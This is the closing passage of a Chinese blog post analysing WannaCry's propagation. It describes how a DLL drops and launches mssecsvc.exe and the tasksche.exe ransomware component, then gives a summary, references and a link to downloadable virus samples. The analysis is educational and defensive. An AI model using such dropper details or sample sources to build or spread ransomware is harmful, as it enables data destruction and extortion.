![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 40]

--------------------

## 9.释放勒索程序 ##

dll具有一个导出函数PlayGame，它会将自身的资源文件（主程序）释放到被攻击的计算机，保存为C:\\WINDOWS\\mssecsvc.exe并执行。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 41]

最后释放资源tasksche.exe(勒索加密功能)到C:\\WINDOWS目录下，并将其启动。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 42]

使用火绒剑检测结果如下图所示，看到释放的lsass.exe、mssecsvc.exe和tasksche.exe程序。

![在这里插入图片描述][20200427132242281.png_pic_center]

被攻击的计算机包含蠕虫的完整功能，除了会被勒索，还会继续使用MS17-010漏洞进行传播，这种传播呈几何级向外扩张，也是该蠕虫短时间内大规模爆发的主要原因。

![在这里插入图片描述][20200427132444552.png_pic_center]

--------------------

# 五.总结 #

写到这里，这篇文章就介绍完毕。主要讲解了WannaCry蠕虫的传播机制，后面作者会继续分享勒索部分的机理，希望您喜欢，继续加油~

*  **一.WannaCry背景**
 *  **二.WannaCry实验复现**
 *  **三.WannaCry基础分析**
 *  **四.WannaCry传播机制详解**  
    1.WannaCry蠕虫传播步骤  
    2.连接域名  
    3.安装和启动mssecsvc2.0服务  
    4.局域网和外网传播  
    5.利用SMB漏洞  
    6.Payload分析  
    7.ShellCode提取  
    8.APC注入  
    9.释放勒索程序
 *  **五.总结**

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center]

这篇文章中如果存在一些不足，还请海涵。作者作为网络安全初学者的慢慢成长路吧！希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享，感谢师傅、师兄师弟、师姐师妹们的教导，深知自己很菜，得努力前行。

**欢迎大家讨论，是否觉得这系列文章帮助到您！如果存在不足之处，还请海涵。任何建议都可以评论告知读者，共勉~**

*  逆向分析：[https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis][https_github.com_eastmountyxz_SystemSecurity-ReverseAnalysis]
 *  网络安全：[https://github.com/eastmountyxz/NetworkSecuritySelf-study][https_github.com_eastmountyxz_NetworkSecuritySelf-study]

2020年8月18新开的“娜璋AI安全之家”，主要围绕Python大数据分析、网络空间安全、人工智能、Web渗透及攻防技术进行讲解，同时分享CCF、SCI、南核北核论文的算法实现。娜璋之家会更加系统，并重构作者的所有文章，从零讲解Python和安全，写了近十年文章，真心想把自己所学所感所做分享出来，还请各位多多指教，真诚邀请您的关注！谢谢。

![20200819045459172.png][]

(By:Eastmount 2021-03-06 晚上12点夜于武汉 [http://blog.csdn.net/eastmount][http_blog.csdn.net_eastmount] )

--------------------

**参考文献：**

*  \[1\] [勒索病毒“WannaCry”之复现过程（永恒之蓝）- weixin\_40950781][WannaCry_- weixin_40950781]
 *  \[2\] [Windows再曝“WannaCry”级漏洞 CVE-2019-0708，专治 XP、Win7 - FB客户][Windows_WannaCry_ CVE-2019-0708_ XP_Win7 - FB]
 *  \[3\] [对WannaCry的深度分析 - 鬼手56][WannaCry_ - _56]
 *  \[4\] [安天针对勒索蠕虫“魔窟”（WannaCry）的深度分析报告][WannaCry]
 *  \[5\] [\[原创\]勒索病毒WannaCry深度技术分析——详解传播、感染和危害细节 - 火绒实验室][WannaCry_ - 4]
 *  \[6\] [WannaCry蠕虫详细分析 - FreeBuf腾讯][WannaCry_ - FreeBuf]
 *  \[7\] [\[病毒分析\]WannaCry病毒分析(永恒之蓝) - 小彩虹][WannaCry_ - 3]
 *  \[8\] [威胁预警 | 蠕虫级漏洞BlueKeep(CVE-2019-0708) EXP被公布 - 斗象智能安全平台][_ _BlueKeep_CVE-2019-0708_ EXP_ -]
 *  \[9\] [\[反病毒\]病毒分析实战篇1–远控病毒分析 - i春秋老师][1_ - i]
 *  \[10\] [wannacry，petaya，meze等病毒样本 - CSDN下载][wannacry_petaya_meze_ - CSDN]
 *  \[11\] [针对WannaRen勒索软件的梳理与分析 - 安天][WannaRen_ -]

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center]: /images/20221023/35d33041fdc34d22992ffa73362edaaf.png
[https_github.com_eastmountyxz_WannaCry-Experiment]: https://github.com/eastmountyxz/WannaCry-Experiment
[https_github.com_eastmountyxz_SystemSecurity-ReverseAnalysis]: https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
[https_github.com_eastmountyxz_NetworkSecuritySelf-study]: https://github.com/eastmountyxz/NetworkSecuritySelf-study
[-100]: https://blog.csdn.net/eastmount/category_9183790.html
[_.]: https://blog.csdn.net/eastmount/article/details/108708564
[_. 1]: https://blog.csdn.net/eastmount/article/details/108832086
[_.IDA Pro]: https://blog.csdn.net/eastmount/article/details/108881705
[_.OllyDbg_Crakeme]: https://blog.csdn.net/Eastmount/article/details/108956863
[_.OllyDbg_Cheat Engine]: https://blog.csdn.net/Eastmount/article/details/109107692
[_. 2]: https://blog.csdn.net/Eastmount/article/details/110944699
[_._PE_C_OllyDbg]: https://blog.csdn.net/Eastmount/article/details/111027618
[_.Windows_CVE-2019-0708]: https://blog.csdn.net/Eastmount/article/details/111085560
[_.Windows_MS08-067]: https://blog.csdn.net/Eastmount/article/details/111341612
[_.Windows_SMBv3_CVE-2020-0796]: https://blog.csdn.net/Eastmount/article/details/111518785
[_._PE]: https://blog.csdn.net/Eastmount/article/details/111706890
[_._IDA_OD]: https://blog.csdn.net/Eastmount/article/details/111769346
[_._IDA_OD 1]: https://blog.csdn.net/Eastmount/article/details/111999346
[_._IDA_OD 2]: https://blog.csdn.net/Eastmount/article/details/111712482
[_.Chrome]: https://blog.csdn.net/Eastmount/article/details/112852434
[_.PE_PE_PE_PE]: https://blog.csdn.net/Eastmount/article/details/113141466
[_.Windows PE]: https://blog.csdn.net/Eastmount/article/details/113527586
[_._WinRAR]: https://blog.csdn.net/Eastmount/article/details/113574883
[_._APT28]: https://blog.csdn.net/Eastmount/article/details/113619336
[_.PE_Signtool]: https://blog.csdn.net/Eastmount/article/details/113744316
[_.PE_Signcode_PEView_010Editor_Asn1View]: https://blog.csdn.net/Eastmount/article/details/113774264
[_.PE_CVE-2020-0601_Windows]: https://blog.csdn.net/Eastmount/article/details/113829876
[_._OllyDbg_TraceMe]: https://blog.csdn.net/Eastmount/article/details/113923604
[_._OllyDbg_INT3]: https://blog.csdn.net/Eastmount/article/details/113964355
[_.WannaCry_ _1_Python]: https://blog.csdn.net/Eastmount/article/details/114194949
[_.WannaCry_ _2_MS17-010]: https://blog.csdn.net/Eastmount/article/details/114274291
[20200413232834492.png_pic_center]: /images/20221023/563f383167f34cc49a5539956d712a9a.png
[20200427114613863.png_pic_center]: /images/20221023/5e7b5f4d540e45c78fff19e732d2fdec.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 1]: /images/20221023/3155cdc4dde84bdc846926502214f4df.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 2]: /images/20221023/0acdf544b7e243a6a4317d9b769571ab.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 3]: /images/20221023/f286930d0b154c69b45b390f5836efd8.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 4]: /images/20221023/e3bb187ab3dc452c82d32bbb053f9f5b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 5]: /images/20221023/bec0466b6c1740c9a81c11f21b588bcb.png
[https_www.virustotal.com_gui_home]: https://www.virustotal.com/gui/home
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 6]: /images/20221023/11a5479c745848b598ad6025fb649397.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 7]: /images/20221023/46ae53a98764494eb551bcbd7c8d2e9c.png
[https_s.threatbook.cn]: https://s.threatbook.cn/
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 8]: /images/20221023/0fc25d03db1940b698af5ef77609f545.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 9]: /images/20221023/d1bcf79f2af745a0bda9895576bdc5b3.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 10]: /images/20221023/25d72f5efdcd4e5485b4deced694dc79.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 11]: /images/20221023/c85d3f933f3e48b28d9f8bdbfa8552f8.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 12]: /images/20221023/2779b0665c1e4c0c9f9be336c250335e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 13]: /images/20221023/0660e3728135491fa9cade9e45bbc909.png
[WannaCry]: https://www.antiy.com/response/wannacry.html
[_WannaCry_ -]: https://www.52pojie.cn/thread-608742-1-1.html
[WannaCry_ -]: https://www.freebuf.com/articles/system/135196.html?mType=Group
[NSA Eternalblue SMB _ - 360]: https://blogs.360.cn/post/nsa-eternalblue-smb.html
[WannaRen_ -]: https://mp.weixin.qq.com/s?__biz=MjM5MTA3Nzk4MQ==&mid=2650174694&idx=1&sn=97862a88a90a8ac081acb1dffb3a893e
[WanaCrypt0r_ - 360]: https://www.anquanke.com/post/id/86092
[WannaCry_ - 1]: https://www.freebuf.com/articles/paper/134637.html
[WannaCry_ - _56]: https://blog.csdn.net/qq_38474570/article/details/87716826
[WannaCry_ - 2]: https://bbs.pediy.com/thread-217734.htm
[Wannacry_shellcode_dll_ - dragonwang]: https://bbs.pediy.com/thread-221756.htm
[WannaCry_ - 3]: https://www.cnblogs.com/wensday/p/9099386.html
[WannaCry_ - sec360zz]: https://www.freebuf.com/news/134989.html
[_ Wannacry_- expsky]: https://www.freebuf.com/vuls/134602.html
[WannaCry_- anhkgg]: https://www.freebuf.com/column/135722.html
[https_github.com_rapid7_metasploit-framework]: https://github.com/rapid7/metasploit-framework
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 14]: /images/20221023/3f5d111848f74b71823bcefe69314f20.png
[20200427113925721.png_pic_center]: /images/20221023/aa1c24dbe3594d29bde1fd76a78d58a1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 15]: /images/20221023/2d04068765a84bd0acd20a1df5bd915e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 16]: /images/20221023/2187618ab39141fca0f0b69aaa7830a1.png
[20200427115202201.png_pic_center]: /images/20221023/824b7198e8784bcabc9f4fff27894ddf.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 17]: /images/20221023/f064db4580db4c9ea732d9828bd30a1a.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 18]: /images/20221023/b6f6b432553f42f5a4e091a9bb5a67ce.png
[2020042712105862.png_pic_center]: /images/20221023/06f162890a9d417e8df66b3582a3140a.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 19]: /images/20221023/16a3a459619f4be0be1dfdd7527c1d04.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 20]: /images/20221023/c456d59143d348f2bcaa32cf8ff67bdc.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 21]: /images/20221023/532c0dca027245d09b2766069f1ffddc.png
[20200427124346168.png_pic_center]: /images/20221023/c39ac15e44ae4d3987793a714d8de6e5.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 22]: /images/20221023/bf9a6b26a5024c92ab154a1ed22a9387.png
[2020042712330948.png_pic_center]: /images/20221023/06bcbb0dfc3b4227a5917014a049cda0.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 23]: /images/20221023/e861f3d8060d4cb2a412c7f9310e650d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 24]: /images/20221023/0d81904145044e24afef38c7edb8101d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 25]: /images/20221023/be8884e902b74998ac19c8e1bd7fe5d1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 26]: /images/20221023/cc4a327a38204733a6b1f130f1b95732.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 27]: /images/20221023/76be09b3ed4b4cb980d03b48c7833b1c.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 28]: /images/20221023/aa44be3b11934dc2a6138f9ffc0d13c4.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 29]: /images/20221023/7134474659694ed291ba1798d764e019.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 30]: /images/20221023/90a3ab293ca4471584d0091c1d608ccc.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 31]: /images/20221023/9c3ecaaf3c8d4f72913d92dabc62d0ae.png
[2020042713072040.png_pic_center]: /images/20221023/b4e093511b93457fa5248732254333cd.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 32]: /images/20221023/0404ee16b7e44a0bb24dc9b7caa46ade.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 33]: /images/20221023/2ee620d9edde4e5bab9f34be23718415.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 34]: /images/20221023/606fcfff346c46d9ae0b0d9f021cf63f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 35]: /images/20221023/2b939ca953b8431881fd14e4d4affed1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 36]: /images/20221023/dceac00ab46f448d8ca8b0ac5a5fcaf9.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 37]: /images/20221023/48b1304d7852477482a7a54f35d464d5.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 38]: /images/20221023/d04adeafcca34929b39d3f772873bbc2.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 39]: /images/20221023/fae8190394e54161814d48d22e3638fb.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 40]: /images/20221023/6ae92fedc6224ae7a46af81f3c190460.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 41]: /images/20221023/76908794a90045a88e15428554479f2f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 42]: /images/20221023/74974f74690441bab040cd2300ee6c6d.png
[20200427132242281.png_pic_center]: /images/20221023/64f5b8e5dab546418b914ff30929c3b2.png
[20200427132444552.png_pic_center]: /images/20221023/ea03a9c78937423294d4f95294675b9c.png
[20200819045459172.png]: /images/20221023/ff0990990ad24a8bacf6f073c81f6891.png
[http_blog.csdn.net_eastmount]: http://blog.csdn.net/eastmount
[WannaCry_- weixin_40950781]: https://blog.csdn.net/weixin_40950781/article/details/98943693
[Windows_WannaCry_ CVE-2019-0708_ XP_Win7 - FB]: https://www.freebuf.com/news/203584.html
[WannaCry_ - 4]: https://bbs.pediy.com/thread-217662.htm
[WannaCry_ - FreeBuf]: https://www.freebuf.com/articles/system/134578.html
[_ _BlueKeep_CVE-2019-0708_ EXP_ -]: https://www.freebuf.com/vuls/213745.html
[1_ - i]: https://bbs.ichunqiu.com/thread-32134-1-1.html
[wannacry_petaya_meze_ - CSDN]: https://download.csdn.net/download/qq_32261191/10447582